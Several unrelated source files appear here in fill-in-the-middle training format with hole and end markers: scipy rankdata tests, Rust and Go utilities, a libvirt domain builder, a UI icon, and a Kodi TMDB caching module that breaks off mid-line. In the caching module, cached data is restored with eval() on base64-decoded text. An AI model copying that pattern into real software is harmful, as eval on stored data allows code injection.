ntie) / float(n**3 - n)) class TestRankData(object): def test_empty(self): """stats.rankdata([]) should return an empty array.""" a = np.array([], dtype=int) r = rankdata(a) assert_array_equal(r, np.array([], dtype=np.float64)) r = rankdata([]) assert_array_equal(r, np.array([], dtype=np.float64)) def test_one(self): """Check stats.rankdata with an array of length 1.""" data = [100] a = np.array(data, dtype=int) r = rankdata(a) assert_array_equal(r, np.array([1.0], dtype=np.float64)) r = rankdata(data) assert_array_equal(r, np.array([1.0], dtype=np.float64)) def test_basic(self): """Basic tests of stats.rankdata.""" data = [100, 10, 50] expected = np.array([3.0, 1.0, 2.0], dtype=np.float64) a = np.array(data, dtype=int) r = rankdata(a) assert_array_equal(r, expected) r = rankdata(data) assert_array_equal(r, expected) data = [40, 10, 30, 10, 50] expected = np.array([4.0, 1.5, 3.0, 1.5, 5.0], dtype=np.float64) a = np.array(data, dtype=int) r = rankdata(a) assert_array_equal(r, expected) r = rankdata(data) assert_array_equal(r, expected) data = [20, 20, 20, 10, 10, 10] expected = np.array([5.0, 5.0, 5.0, 2.0, 2.0, 2.0], dtype=np.float64) a = np.array(data, dtype=int) r = rankdata(a) assert_array_equal(r, expected) r = rankdata(data) assert_array_equal(r, expected) # The docstring states explicitly that the argument is flattened. a2d = a.reshape(2, 3) r = rankdata(a2d) assert_array_equal(r, expected) def test_rankdata_object_string(self): min_rank = lambda a: [1 + sum(i < j for i in a) for j in a] max_rank = lambda a: [sum(i <= j for i in a) for j in a] ordinal_rank = lambda a: min_rank([(x, i) for i, x in enumerate(a)]) def average_rank(a): return [(i + j) / 2.0 for i, j in zip(min_rank(a), max_rank(a))] def dense_rank(a): b = np.unique(a) return [1 + sum(i < j for i in b) for j in a] rankf = dict(min=min_rank, max=max_rank, ordinal=ordinal_rank, average=average_rank, dense=dense_rank) def check_ranks(a): for method in 'min', 'max', 'dense', 'ordinal', 'average': out = rankdata(a, method=method) assert_array_equal(out, rankf[method](a)) val = ['foo', 'bar', 'qux', 'xyz', 'abc', 'efg', 'ace', 'qwe', 'qaz'] check_ranks(np.random.choice(val, 200)) check_ranks(np.random.choice(val, 200).astype('object')) val = np.array([0, 1, 2, 2.718, 3, 3.141], dtype='object') check_ranks(np.random.choice(val, 200).astype('object')) def test_large_int(self): data = np.array([2**60, 2**60+1], dtype=np.uint64) r = rankdata(data) assert_array_equal(r, [1.0, 2.0]) data = np.array([2**60, 2**60+1], dtype=np.int64) r = rankdata(data) assert_array_equal(r, [1.0, 2.0]) data = np.array([2**60, -2**60+1], dtype=np.int64) r = rankdata(data) assert_array_equal(r, [2.0, 1.0]) def test_big_tie(self): for n in [10000, 100000, 1000000]: data = np.ones(n, dtype=int) r = rankdata(data) expected_rank = 0.5 * (n + 1) assert_array_equal(r, expected_rank * data, "test failed with n=%d" % n) _cases = ( # values, method, expected ([], 'average', []), ([], 'min', []), ([], 'max', []), ([], 'dense', []), ([], 'ordinal', []), # ([100], 'average', [1.0]), ([100], 'min', [1.0]), ([100], 'max', [1.0]), ([100], 'dense', [1.0]), ([100], 'ordinal', [1.0]), # ([100, 100, 100], 'average', [2.0, 2.0, 2.0]), ([100, 100, 100], 'min', [1.0, 1.0, 1.0]), ([100, 100, 100], 'max', [3.0, 3.0, 3.0]), ([100, 100, 100], 'dense', [1.0, 1.0, 1.0]), ([100, 100, 100], 'ordinal', [1.0, 2.0, 3.0]), # ([100, 300, 200], 'average', [1.0, 3.0, 2.0]), ([100, 300, 200], 'min', [1.0, 3.0, 2.0]), ([100, 300, 200], 'max', [1.0, 3.0, 2.0]), ([100, 300, 200], 'dense', [1.0, 3.0, 2.0]), ([100, 300, 200], 'ordinal', [1.0, 3.0, 2.0]), # ([100, 200, 300, 200], 'average', [1.0, 2.5, 4.0, 2.5]), ([100, 200, 300, 200], 'min', [1.0, 2.0, 4.0, 2.0]), ([100, 200, 300, 200], 'max', [1.0, 3.0, 4.0, 3.0]), ([100, 200, 300, 200], 'dense', [1.0, 2.0, 3.0, 2.0]), ([100, 200, 300, 200], 'ordinal', [1.0, 2.0, 4.0, 3.0]), # ([100, 200, 300, 200, 100], 'average', [1.5, 3.5, 5.0, 3.5, 1.5]), ([100, 200, 300, 200, 100], 'min', [1.0, 3.0, 5.0, 3.0, 1.0]), ([100, 200, 300, 200, 100], 'max', [2.0, 4.0, 5.0, 4.0, 2.0]), ([100, 200, 300, 200, 100], 'dense', [1.0, 2.0, 3.0, 2.0, 1.0]), ([100, 200, 300, 200, 100], 'ordinal', [1.0, 3.0, 5.0, 4.0, 2.0]), # ([10] * 30, 'ordinal', np.arange(1.0, 31.0)), ) def test_cases(): for values, method, expected in _cases: r = rankdata(values, method=method) assert_array_equal(r, expected)<|fim▁end|>
n = a.size # ntie * k out = tiecorrect(rankdata(a))
<|file_name|>errors.rs<|end_file_name|><|fim▁begin|>/* Copyright 2017 Takashi Ogura Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and<|fim▁hole|> limitations under the License. */ use std::io; use thiserror::Error; #[derive(Debug, Error)] pub enum Error { #[error("Error: {:?}", error)] Other { error: String }, #[error("IOError: {:?}", source)] IoError { #[from] source: io::Error, }, } pub type Result<T> = ::std::result::Result<T, Error>; impl<'a> From<&'a str> for Error { fn from(error: &'a str) -> Error { Error::Other { error: error.to_owned(), } } } impl From<String> for Error { fn from(error: String) -> Error { Error::Other { error } } }<|fim▁end|>
<|file_name|>po_generic_page.py<|end_file_name|><|fim▁begin|>from hubcheck.pageobjects.basepageobject import BasePageObject from hubcheck.pageobjects.basepageelement import Link from selenium.common.exceptions import NoSuchElementException class GenericPage(BasePageObject): """Generic Page with just a header and footer""" def __init__(self,browser,catalog): super(GenericPage,self).__init__(browser,catalog) self.path = '/' # load hub's classes GenericPage_Locators = self.load_class('GenericPage_Locators') NeedHelpForm = self.load_class('NeedHelpForm') Header = self.load_class('Header') Footer = self.load_class('Footer') # update this object's locator self.locators = GenericPage_Locators.locators # setup page object's components self.needhelpform = NeedHelpForm(self,{},self.__refreshCaptchaCB) self.needhelplink = Link(self,{'base':'needhelplink'}) self.header = Header(self) # self.footer = Footer(self) def __refreshCaptchaCB(self): self._browser.refresh() self.needhelplink.click() def goto_login(self): return self.header.goto_login() def goto_register(self): return self.header.goto_register() def goto_logout(self): return self.header.goto_logout() def goto_myaccount(self): return self.header.goto_myaccount()<|fim▁hole|> return self.header.goto_profile() def toggle_needhelp(self): return self.needhelplink.click() def is_logged_in(self): """check if user is logged in, returns True or False""" return self.header.is_logged_in() def get_account_number(self): """return the account number of a logged in user based on urls""" if not self.is_logged_in(): raise RuntimeError("user is not logged in") return self.header.get_account_number() def get_debug_info(self): rtxt = [] for e in self.find_elements(self.locators['debug']): if e.is_displayed(): rtxt.append(e.text) return rtxt def get_notification_info(self): rtxt = [] for e in self.find_elements(self.locators['notification']): if e.is_displayed(): rtxt.append(e.text) return rtxt def get_success_info(self): rtxt = [] for e in self.find_elements(self.locators['success']): if e.is_displayed(): rtxt.append(e.text) return rtxt def get_error_info(self): rtxt = [] for e in self.find_elements(self.locators['error']): if e.is_displayed(): rtxt.append(e.text) return rtxt def get_errorbox_info(self): rtxt = [] for e in self.find_elements(self.locators['errorbox1']): if e.is_displayed(): rtxt.append(e.text) for e in self.find_elements(self.locators['errorbox2']): if e.is_displayed(): rtxt.append(e.text) return rtxt class GenericPage_Locators_Base_1(object): """ locators for GenericPage object """ locators = { 'needhelplink' : "css=#tab", 'debug' : "css=#system-debug", 'error' : "css=.error", 'success' : "css=.passed", 'notification' : "css=#page_notifications", 'errorbox1' : "css=#errorbox", 'errorbox2' : "css=#error-box", }<|fim▁end|>
def goto_profile(self):
<|file_name|>cancel-clean-via-immediate-rvalue-ref.rs<|end_file_name|><|fim▁begin|>// Copyright 2013 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed<|fim▁hole|> fn foo(x: &mut Box<u8>) { *x = box 5; } pub fn main() { foo(&mut box 4); }<|fim▁end|>
// except according to those terms.
<|file_name|>list-header.ts<|end_file_name|><|fim▁begin|>import { Attribute, Directive, ElementRef, Renderer } from '@angular/core'; import { Config } from '../../config/config'; import { Ion } from '../ion'; /** * @hidden */ @Directive({ selector: 'ion-list-header' }) export class ListHeader extends Ion { constructor(config: Config, renderer: Renderer, elementRef: ElementRef, @Attribute('id') private _id: string) { super(config, elementRef, renderer, 'list-header'); } get id(): string { return this._id; } <|fim▁hole|>}<|fim▁end|>
set id(val: string) { this._id = val; this.setElementAttribute('id', val); }
<|file_name|>autorestart.go<|end_file_name|><|fim▁begin|>package autorestart import ( "log" "os" "os/exec" "os/signal" "path/filepath" "syscall" "time" "github.com/tillberg/watcher" ) func logf(format string, args ...interface{}) { log.Printf("[autorestart] "+format+"\n", args...) } <|fim▁hole|> func getExePath() string { var err error if _exePath == errorPath { _exePath, err = exec.LookPath(os.Args[0]) if err != nil { logf("Failed to resolve path to current program: %s", err) _exePath = errorPath } else { _exePath, err = filepath.Abs(_exePath) if err != nil { logf("Failed to resolve absolute path to current program: %s", err) _exePath = errorPath } else { _exePath = filepath.Clean(_exePath) } } } return _exePath } // Restart the current program when the program's executable is updated. // This function is a wrapper around NotifyOnChange and RestartViaExec, calling the // latter when the former signals that a change was detected. func RestartOnChange() { notifyChan := NotifyOnChange(true) <-notifyChan logf("%s changed. Restarting via exec.", getExePath()) // Sort of a maybe-workaround for the issue detailed in RestartViaExec: time.Sleep(1 * time.Millisecond) RestartViaExec() } // Subscribe to a notification when the current process' executable file is modified. // Returns a channel to which notifications (just `true`) will be sent whenever a // change is detected. func NotifyOnChange(usePolling bool) chan bool { notifyChan := make(chan bool) go func() { exePath := getExePath() if exePath == errorPath { return } notify, err := watcher.WatchExecutable(exePath, usePolling) if err != nil { logf("Failed to initialize watcher: %v", err) return } for range notify { notifyChan <- true } }() return notifyChan } // Restart the current process by calling syscall.Exec, using os.Args (with filepath.LookPath) // and os.Environ() to recreate the same args & environment that was used when the process was // originally started. // Due to using syscall.Exec, this function is not portable to systems that don't support exec. func RestartViaExec() { exePath := getExePath() if exePath == errorPath { return } for { err := syscall.Exec(exePath, os.Args, os.Environ()) // Not sure if this is due to user error, a Go regression in 1.5.x, or arch something, // but this started failing when called immediately; a short delay (perhaps to switch // to a different thread? or maybe to actually delay for some reason?) seems to work // all the time. though. logf("syscall.Exec failed [%v], trying again in one second...", err) time.Sleep(1 * time.Second) } } func NotifyOnSighup() chan os.Signal { sigChan := make(chan os.Signal) signal.Notify(sigChan, syscall.SIGHUP) return sigChan }<|fim▁end|>
const errorPath = "*error*" var _exePath = errorPath
<|file_name|>mod.rs<|end_file_name|><|fim▁begin|>extern crate xml; use std::ffi::{CStr, CString}; use std::path::{Path, PathBuf}; use xml::{Event, Parser}; use ::libvirt::*; use ::util::errors::*; use ::util::ipv4::IPv4; use ::virt::conn::Conn; use ::virt::storage::volume::Volume; use ::virt::network::Network; pub mod snapshot; resource!(Domain, virDomain); impl Domain { pub fn volume_paths(&self) -> Vec<PathBuf> { let desc = self.xml().unwrap(); let mut p = Parser::new(); p.feed_str(&desc); let mut in_tag = false; let mut sources = Vec::new(); for event in p { match event.unwrap() { Event::ElementStart(ref tag) if tag.name == "disk".to_string() => { in_tag = true; } Event::ElementStart(ref tag) if in_tag && tag.name == "source".to_string() => { match tag.attributes.get(&("file".to_string(), None)) { Some(source) => { sources.push(Path::new(source).to_path_buf()); } _ => {} } } Event::ElementEnd(ref tag) if in_tag && tag.name == "disk".to_string() => { in_tag = false; } _ => (), } } sources } pub fn networks(&self) -> Vec<&Network> { vec![] } // TODO: secondary ip pub fn ip_in_network(&self, network: &Network) -> Result<IPv4> { if let Some(mgmt_mac) = self.mac_in_network(network.name().to_owned()) { if let Some(ip) = network.ip_linked_to_mac(&mgmt_mac, Some(20), Some(3)) { Ok(ip) } else { Err(format!("cannot detect ip of domain `{}` in network `{}`", self.name(), network.name()).into()) } } else { Err(format!("no interface found in network `{}` on domain `{}`", network.name(), self.name()).into()) } } pub fn mac_in_network(&self, network: String) -> Option<String> { let desc = self.xml().unwrap(); let mut p = Parser::new(); p.feed_str(&desc); let mut in_tag = false; let mut in_nw = false; let mut mac = None; for event in p { match event.unwrap() { Event::ElementStart(ref tag) if tag.name == "interface".to_string() => { in_tag = true; } Event::ElementStart(ref tag) if in_tag && tag.name == "mac".to_string() => { match tag.attributes.get(&("address".to_string(), None)) { Some(mc) => mac = Some(mc.clone()), _ => {} } } Event::ElementStart(ref tag) if in_tag && tag.name == "source".to_string() => { match tag.attributes.get(&("network".to_string(), None)) { Some(nw) if *nw == network => in_nw = true, _ => {} } } Event::ElementEnd(ref tag) if in_tag && tag.name == "interface".to_string() => { in_tag = false; if !in_nw { mac = None } } _ => (), } } mac } pub fn mac_of_ip(&self, ip: &IPv4) -> Option<String> { use xml::{Event, Parser}; let desc = self.xml().unwrap(); let mut p = Parser::new(); p.feed_str(&desc); let mut in_tag = false; let mut of_ip = false; let mut mac = None; for event in p { match event.unwrap() { Event::ElementStart(ref tag) if tag.name == "interface".to_string() => { in_tag = true; } Event::ElementStart(ref tag) if in_tag && tag.name == "mac".to_string() => { match tag.attributes.get(&("address".to_string(), None)) { Some(mc) => mac = Some(mc.clone()), _ => {} } } Event::ElementStart(ref tag) if in_tag && tag.name == "ip".to_string() => { match (tag.attributes.get(&("address".to_string(), None)), tag.attributes.get(&("prefix".to_string(), None))) { (Some(addr), Some(prefix)) if *addr == ip.ip() && *prefix == ip.mask_bit().to_string() => { of_ip = true } _ => {} } } Event::ElementEnd(ref tag) if in_tag && tag.name == "interface".to_string() => { if of_ip { return mac; } else { in_tag = false; mac = None } } _ => (), } } mac } pub fn find(name: &str, conn: &Conn) -> Option<Domain> { match unsafe { virDomainLookupByName(conn.raw(), CString::new(name.to_owned()).unwrap().as_ptr()) } { p if !p.is_null() => Some(Domain { raw: p }), _ => None, } } pub fn boot_with_root_vol(conn: &Conn, hostname: &str, vol: &Volume, interfaces: Vec<(String, IPv4)>, default_network: Option<&Network>) -> Result<Domain> { unsafe { let dom = match virDomainLookupByName(conn.raw(), CString::new(hostname.to_owned()) .unwrap() .as_ptr()) { p if !p.is_null() => { if virDomainIsActive(p) == 1 { if virDomainReboot(p, 0) != 0 { return Err("domain already exists but failed to reboot".into()) } p } else if virDomainCreate(p) == 0 { p } else { return Err("domain already exists but failed to start".into()) } }, _ => { let mem_mb = 768; let mut x = xE!("domain", type => "kvm"); x.tag(xE!("name")) .text(hostname.to_owned().into()); x.tag(xE!("memory", unit => "KiB")) .text((mem_mb * 1024).to_string().into()); x.tag(xE!("vcpu", placement => "static")) .text("1".into()); // os let mut x_os = xE!("os"); x_os.tag(xE!("type", arch => "x86_64")) .text("hvm".into()); x_os.tag(xE!("boot", dev => "hd")); x.tag(x_os); x.tag(xE!("features")) .tag_stay(xE!("acpi")) .tag_stay(xE!("apic")); x.tag(xE!("clock", offset => "localtime")); // devices let mut x_dev = xE!("devices"); // base disk x_dev.tag(xE!("disk", type => "volume", device => "disk")) .tag_stay(xE!("driver", name => "qemu", type => "qed")) .tag_stay(xE!("source", pool => vol.pool().name(), volume => vol.name() )) .tag_stay(xE!("target", dev => "hda", bus => "ide")); for (_dev, o_ip) in interfaces { let mut br_ip = o_ip.nw_addr(); br_ip.incr_node_id().unwrap(); let nw = Network::ensure_default(conn, &br_ip, false); let ip = o_ip.ip(); let prefix = o_ip.mask_bit().to_string(); // it's assumed here that whatever dev name is chosen // for dummy nics on host side. whatever l2 address is // chosen in guest side, it wouldn't do much harm. x_dev.tag(xE!("interface", type => "network")) .tag_stay(xE!("source", network => nw.name())) .tag_stay(xE!("ip", address => ip.as_str(), prefix => prefix.as_str() )); } // XXX: default network interface just for digging // to adjust network interfaces after installation. // too lazy to create valid libguestfs rust binding // or to mimic its behaviour. if default_network.is_some() { x_dev.tag(xE!("interface", type => "network")) .tag_stay(xE!("start", mode => "onboot")) .tag_stay(xE!("source", network => default_network.unwrap().name())); }<|fim▁hole|> // console x_dev.tag(xE!("console", type => "pty")) .tag_stay(xE!("target", type => "serial", port => "0")); x.tag(x_dev); virDomainDefineXML(conn.raw(), CString::new(format!("{}", x)).unwrap().as_ptr()) } }; let mut state = -1 as i32; let mut reason = -1 as i32; if virDomainGetState(dom, &mut state, &mut reason, 0) < 0 { return Err(format!("failed to get state of domain: {}", hostname).into()); } match state { s if s == virDomainState::VIR_DOMAIN_RUNNING as i32 => { info!("domain of hostname {} already running", hostname); return Ok(Domain { raw: dom }); } _ => {} } if virDomainCreate(dom) < 0 { Err("failed to create domain".into()) } else { Ok(Domain { raw: dom }) } } } pub fn destroy(&self) -> Result<()> { if unsafe { virDomainIsActive(self.raw()) } == 1 && unsafe { virDomainDestroy(self.raw()) } < 0 { Err("failed to destroy".into()) } else { Ok(()) } } pub fn undefine(&self) -> Result<()> { if unsafe { virDomainUndefine(self.raw()) } < 0 { Err("failed to undefine".into()) } else { Ok(()) } } pub fn delete(&self) -> Result<()> { try!(self.destroy()); self.undefine() } }<|fim▁end|>
<|file_name|>SettingsBluetoothRounded.js<|end_file_name|><|fim▁begin|>"use strict"; var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault"); Object.defineProperty(exports, "__esModule", { value: true });<|fim▁hole|>exports.default = void 0; var _createSvgIcon = _interopRequireDefault(require("./utils/createSvgIcon")); var _jsxRuntime = require("react/jsx-runtime"); var _default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)("circle", { cx: "12", cy: "23", r: "1" }, "0"), /*#__PURE__*/(0, _jsxRuntime.jsx)("circle", { cx: "8", cy: "23", r: "1" }, "1"), /*#__PURE__*/(0, _jsxRuntime.jsx)("circle", { cx: "16", cy: "23", r: "1" }, "2"), /*#__PURE__*/(0, _jsxRuntime.jsx)("path", { d: "M13.41 10 17 6.42c.39-.39.39-1.02 0-1.42L12.21.21c-.14-.14-.32-.21-.5-.21-.39 0-.71.32-.71.71v6.88L7.11 3.71a.9959.9959 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L10.59 10 5.7 14.89c-.39.39-.39 1.02 0 1.41.39.39 1.02.39 1.41 0L11 12.41v6.88c0 .39.32.71.71.71.19 0 .37-.07.5-.21L17 15c.39-.39.39-1.02 0-1.42L13.41 10zM13 3.83l1.88 1.88L13 7.59V3.83zm0 12.34v-3.76l1.88 1.88L13 16.17z" }, "3")], 'SettingsBluetoothRounded'); exports.default = _default;<|fim▁end|>
<|file_name|>tmdb.py<|end_file_name|><|fim▁begin|># -*- coding: utf-8 -*- import copy import re import sqlite3 import time, urllib from core import filetools from core import httptools from core import jsontools from core import scrapertools from core.item import InfoLabels from platformcode import config from platformcode import logger # ----------------------------------------------------------------------------------------------------------- # Conjunto de funciones relacionadas con las infoLabels. # version 1.0: # Version inicial # # Incluyen: # set_infoLabels(source, seekTmdb, idioma_busqueda): Obtiene y fija (item.infoLabels) los datos extras de una o # varias series, capitulos o peliculas. # set_infoLabels_item(item, seekTmdb, idioma_busqueda): Obtiene y fija (item.infoLabels) los datos extras de una # serie, capitulo o pelicula. # set_infoLabels_itemlist(item_list, seekTmdb, idioma_busqueda): Obtiene y fija (item.infoLabels) los datos # extras de una lista de series, capitulos o peliculas. # infoLabels_tostring(item): Retorna un str con la lista ordenada con los infoLabels del item # # Uso: # tmdb.set_infoLabels(item, seekTmdb = True) # # Obtener datos basicos de una pelicula: # Antes de llamar al metodo set_infoLabels el titulo a buscar debe estar en item.fulltitle # o en item.contentTitle y el año en item.infoLabels['year']. # # Obtener datos basicos de una serie: # Antes de llamar al metodo set_infoLabels el titulo a buscar debe estar en item.show o en # item.contentSerieName. # # Obtener mas datos de una pelicula o serie: # Despues de obtener los datos basicos en item.infoLabels['tmdb'] tendremos el codigo de la serie o pelicula. # Tambien podriamos directamente fijar este codigo, si se conoce, o utilizar los codigo correspondientes de: # IMDB (en item.infoLabels['IMDBNumber'] o item.infoLabels['code'] o item.infoLabels['imdb_id']), TVDB # (solo series, en item.infoLabels['tvdb_id']), # Freebase (solo series, en item.infoLabels['freebase_mid']),TVRage (solo series, en # item.infoLabels['tvrage_id']) # # Obtener datos de una temporada: # Antes de llamar al metodo set_infoLabels el titulo de la serie debe estar en item.show o en # item.contentSerieName, # el codigo TMDB de la serie debe estar en item.infoLabels['tmdb'] (puede fijarse automaticamente mediante # la consulta de datos basica) # y el numero de temporada debe estar en item.infoLabels['season']. # # Obtener datos de un episodio: # Antes de llamar al metodo set_infoLabels el titulo de la serie debe estar en item.show o en # item.contentSerieName, # el codigo TMDB de la serie debe estar en item.infoLabels['tmdb'] (puede fijarse automaticamente mediante la # consulta de datos basica), # el numero de temporada debe estar en item.infoLabels['season'] y el numero de episodio debe estar en # item.infoLabels['episode']. # # # -------------------------------------------------------------------------------------------------------------- otmdb_global = None fname = filetools.join(config.get_data_path(), "alfa_db.sqlite") tmdb_langs = ['es', 'en', 'it', 'pt', 'fr', 'de'] langs = config.get_setting('tmdb_lang', default=0) tmdb_lang = tmdb_langs[langs] def create_bd(): conn = sqlite3.connect(fname) c = conn.cursor() c.execute('CREATE TABLE IF NOT EXISTS tmdb_cache (url TEXT PRIMARY KEY, response TEXT, added TEXT)') conn.commit() conn.close() def drop_bd(): conn = sqlite3.connect(fname) c = conn.cursor() c.execute('DROP TABLE IF EXISTS tmdb_cache') conn.commit() conn.close() return True create_bd() # El nombre de la funcion es el nombre del decorador y recibe la funcion que decora. def cache_response(fn): logger.info() # import time # start_time = time.time() def wrapper(*args): import base64 def check_expired(ts): import datetime valided = False cache_expire = config.get_setting("tmdb_cache_expire", default=0) saved_date = datetime.datetime.fromtimestamp(ts) current_date = datetime.datetime.fromtimestamp(time.time()) elapsed = current_date - saved_date # 1 day if cache_expire == 0: if elapsed > datetime.timedelta(days=1): valided = False else: valided = True # 7 days elif cache_expire == 1: if elapsed > datetime.timedelta(days=7): valided = False else: valided = True # 15 days elif cache_expire == 2: if elapsed > datetime.timedelta(days=15): valided = False else: valided = True # 1 month - 30 days elif cache_expire == 3: # no tenemos en cuenta febrero o meses con 31 días if elapsed > datetime.timedelta(days=30): valided = False else: valided = True # no expire elif cache_expire == 4: valided = True return valided result = {} try: # no está activa la cache if not config.get_setting("tmdb_cache", default=False): result = fn(*args) else: conn = sqlite3.connect(fname) c = conn.cursor() url_base64 = base64.b64encode(args[0]) c.execute("SELECT response, added FROM tmdb_cache WHERE url=?", (url_base64,)) row = c.fetchone() if row and check_expired(float(row[1])): result = eval(base64.b64decode(row[0])) # si no se ha obtenido información, llamamos a la funcion if not result: result = fn(*args) result_base64 = base64.b64encode(str(result)) c.execute("INSERT OR REPLACE INTO tmdb_cache (url, response, added) VALUES (?, ?, ?)", (url_base64, result_base64, time.time())) conn.commit() conn.close() # elapsed_time = time.time() - start_time # logger.debug("TARDADO %s" % elapsed_time) # error al obtener los datos except Exception, ex: message = "An exception of type %s occured. Arguments:\n%s" % (type(ex).__name__, repr(ex.args)) logger.error("error en: %s" % message) return result return wrapper def set_infoLabels(source, seekTmdb=True, idioma_busqueda=tmdb_lang): """ Dependiendo del tipo de dato de source obtiene y fija (item.infoLabels) los datos extras de una o varias series, capitulos o peliculas. @param source: variable que contiene la información para establecer infoLabels @type source: list, item @param seekTmdb: si es True hace una busqueda en www.themoviedb.org para obtener los datos, en caso contrario obtiene los datos del propio Item. @type seekTmdb: bool @param idioma_busqueda: fija el valor de idioma en caso de busqueda en www.themoviedb.org @type idioma_busqueda: str @return: un numero o lista de numeros con el resultado de las llamadas a set_infoLabels_item @rtype: int, list """ start_time = time.time() if type(source) == list: ret = set_infoLabels_itemlist(source, seekTmdb, idioma_busqueda) logger.debug("Se han obtenido los datos de %i enlaces en %f segundos" % (len(source), time.time() - start_time)) else: ret = set_infoLabels_item(source, seekTmdb, idioma_busqueda) logger.debug("Se han obtenido los datos del enlace en %f segundos" % (time.time() - start_time)) return ret def set_infoLabels_itemlist(item_list, seekTmdb=False, idioma_busqueda=tmdb_lang): """ De manera concurrente, obtiene los datos de los items incluidos en la lista item_list. La API tiene un limite de 40 peticiones por IP cada 10'' y por eso la lista no deberia tener mas de 30 items para asegurar un buen funcionamiento de esta funcion. @param item_list: listado de objetos Item que representan peliculas, series o capitulos. El atributo infoLabels de cada objeto Item sera modificado incluyendo los datos extras localizados. @type item_list: list @param seekTmdb: Si es True hace una busqueda en www.themoviedb.org para obtener los datos, en caso contrario obtiene los datos del propio Item si existen. @type seekTmdb: bool @param idioma_busqueda: Codigo del idioma segun ISO 639-1, en caso de busqueda en www.themoviedb.org. @type idioma_busqueda: str @return: Una lista de numeros cuyo valor absoluto representa la cantidad de elementos incluidos en el atributo infoLabels de cada Item. Este numero sera positivo si los datos se han obtenido de www.themoviedb.org y negativo en caso contrario. @rtype: list """ import threading threads_num = config.get_setting("tmdb_threads", default=20) semaforo = threading.Semaphore(threads_num) lock = threading.Lock() r_list = list() i = 0 l_hilo = list() def sub_thread(_item, _i, _seekTmdb): semaforo.acquire() ret = set_infoLabels_item(_item, _seekTmdb, idioma_busqueda, lock) # logger.debug(str(ret) + "item: " + _item.tostring()) semaforo.release() r_list.append((_i, _item, ret)) for item in item_list: t = threading.Thread(target=sub_thread, args=(item, i, seekTmdb)) t.start() i += 1 l_hilo.append(t) # esperar q todos los hilos terminen for x in l_hilo: x.join() # Ordenar lista de resultados por orden de llamada para mantener el mismo orden q item_list r_list.sort(key=lambda i: i[0]) # Reconstruir y devolver la lista solo con los resultados de las llamadas individuales return [ii[2] for ii in r_list] def set_infoLabels_item(item, seekTmdb=True, idioma_busqueda=tmdb_lang, lock=None): """ Obtiene y fija (item.infoLabels) los datos extras de una serie, capitulo o pelicula. @param item: Objeto Item que representa un pelicula, serie o capitulo. El atributo infoLabels sera modificado incluyendo los datos extras localizados. @type item: Item @param seekTmdb: Si es True hace una busqueda en www.themoviedb.org para obtener los datos, en caso contrario obtiene los datos del propio Item si existen. @type seekTmdb: bool @param idioma_busqueda: Codigo del idioma segun ISO 639-1, en caso de busqueda en www.themoviedb.org. @type idioma_busqueda: str @param lock: para uso de threads cuando es llamado del metodo 'set_infoLabels_itemlist' @return: Un numero cuyo valor absoluto representa la cantidad de elementos incluidos en el atributo item.infoLabels. Este numero sera positivo si los datos se han obtenido de www.themoviedb.org y negativo en caso contrario. @rtype: int """ global otmdb_global def __leer_datos(otmdb_aux): item.infoLabels = otmdb_aux.get_infoLabels(item.infoLabels) if item.infoLabels['thumbnail']: item.thumbnail = item.infoLabels['thumbnail'] if item.infoLabels['fanart']: item.fanart = item.infoLabels['fanart'] if seekTmdb: # Comprobamos q tipo de contenido es... if item.contentType == 'movie': tipo_busqueda = 'movie' else: tipo_busqueda = 'tv' if item.infoLabels['season']: try: numtemporada = int(item.infoLabels['season']) except ValueError: logger.debug("El numero de temporada no es valido") return -1 * len(item.infoLabels) if lock: lock.acquire() if not otmdb_global or (item.infoLabels['tmdb_id'] and str(otmdb_global.result.get("id")) != item.infoLabels['tmdb_id']) \ or (otmdb_global.texto_buscado and otmdb_global.texto_buscado != item.infoLabels['tvshowtitle']): if item.infoLabels['tmdb_id']: otmdb_global = Tmdb(id_Tmdb=item.infoLabels['tmdb_id'], tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) else: otmdb_global = Tmdb(texto_buscado=item.infoLabels['tvshowtitle'], tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda, year=item.infoLabels['year']) __leer_datos(otmdb_global) if lock and lock.locked(): lock.release() if item.infoLabels['episode']: try: episode = int(item.infoLabels['episode']) except ValueError: logger.debug("El número de episodio (%s) no es valido" % repr(item.infoLabels['episode'])) return -1 * len(item.infoLabels) # Tenemos numero de temporada y numero de episodio validos... # ... buscar datos episodio item.infoLabels['mediatype'] = 'episode' episodio = otmdb_global.get_episodio(numtemporada, episode) if episodio: # Actualizar datos __leer_datos(otmdb_global) item.infoLabels['title'] = episodio['episodio_titulo'] if episodio['episodio_sinopsis']: item.infoLabels['plot'] = episodio['episodio_sinopsis'] if episodio['episodio_imagen']: item.infoLabels['poster_path'] = episodio['episodio_imagen'] item.thumbnail = item.infoLabels['poster_path'] if episodio['episodio_air_date']: item.infoLabels['aired'] = episodio['episodio_air_date'] if episodio['episodio_vote_average']: item.infoLabels['rating'] = episodio['episodio_vote_average'] item.infoLabels['votes'] = episodio['episodio_vote_count'] return len(item.infoLabels) else: # Tenemos numero de temporada valido pero no numero de episodio... # ... buscar datos temporada item.infoLabels['mediatype'] = 'season' temporada = otmdb_global.get_temporada(numtemporada) if temporada: # Actualizar datos __leer_datos(otmdb_global) item.infoLabels['title'] = temporada['name'] if temporada['overview']: item.infoLabels['plot'] = temporada['overview'] if temporada['air_date']: date = temporada['air_date'].split('-') item.infoLabels['aired'] = date[2] + "/" + date[1] + "/" + date[0] if temporada['poster_path']: item.infoLabels['poster_path'] = 'http://image.tmdb.org/t/p/original' + temporada['poster_path'] item.thumbnail = item.infoLabels['poster_path'] return len(item.infoLabels) # Buscar... else: otmdb = copy.copy(otmdb_global) # Busquedas por ID... if item.infoLabels['tmdb_id']: # ...Busqueda por tmdb_id otmdb = Tmdb(id_Tmdb=item.infoLabels['tmdb_id'], tipo=tipo_busqueda, 